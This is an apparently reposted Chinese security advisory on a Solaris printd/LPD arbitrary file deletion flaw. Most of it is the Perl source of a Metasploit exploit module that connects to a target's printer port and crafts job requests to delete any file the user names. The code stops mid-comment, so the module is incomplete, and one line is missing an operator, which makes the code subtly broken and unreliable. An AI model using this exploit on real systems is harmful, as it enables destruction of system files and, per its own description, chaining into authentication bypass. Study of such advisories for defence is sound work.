Sun Solaris Printd任意文件删除漏洞

发布日期：2005-08-22
更新日期：2005-08-22

受影响系统：

Sun Solaris 9.0_x86 Update 2
Sun Solaris 9.0_x86
Sun Solaris 9.0
Sun Solaris 8.0_x86
Sun Solaris 8.0
Sun Solaris 7.0_x86
Sun Solaris 7.0
Sun Solaris 10_x86
Sun Solaris 10.0

描述：

---

BUGTRAQ ID: 14510

Solaris是一款由Sun开发和维护的商业性质UNIX操作系统。

由于"printd"守护程序中的安全漏洞，本地或远程非特权用户可以删除系统中的任意文件。

<*来源：H D Moore （hdm@metasploit.com）

链接：http://sunsolve.sun.com/search/printfriendly.do?assetkey=1-26-101842-1
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::solaris_lpd_unlink;
use base "Msf::Exploit";
use IO::Socket;
use IO::Select;
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{
'Name' => 'Solaris LPD Arbitrary File Delete',
'Version' => '$Revision: 1.6 $',
'Authors' =>
[
'H D Moore <hdm [at] metasploit.com>',
'Optyx <optyx [at] uberhax0r.net>'
],

'Arch' => [ ],
'OS' => [ 'solaris' ],

'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The LPD server port', 515],
'RPATH' => [1, 'DATA', 'The remote path name to delete'],
},

'Description' => Pex::Text::Freeform(qq{
This module uses a vulnerability in the Solaris line printer daemon
to delete arbitrary files on an affected system. This can be used to exploit
the rpc.walld format string flaw, the missing krb5.conf authentication bypass,
or simple delete system files. Tested on Solaris 2.6, 7, 8, 9, and 10.
}),

'Refs' =>
[
['URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-101842-1'],
],

'DefaultTarget' => 0,
'Targets' => [['No Target Needed']],

'Keys' => ['lpd'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_path = $self->GetVar('RPATH');
my $res;

# We use one connection to configure the spool directory
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}

# Send a job request that will trigger the cascade adaptor (thanks Dino!)
$s->Send("\x02"."metasploit:framework\n");
$res = $s->Recv(1, 5);
if (ord($res) != 0) {
$self->PrintLine("[*] The target did not accept our job request command");
return;
}

# The job ID is squashed down to three decimal digits
my $jid = ($$ % 1000).unpack("H*",pack('N', time() $$));

# Create a simple control file...
my $control = "Hmetasploit\nPr00t\n";

# Theoretically, we could delete multiple files at once, however
# the lp daemon will append garbage from memory to the path name
# if we don't stick a null byte after the path. Unfortunately, this

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有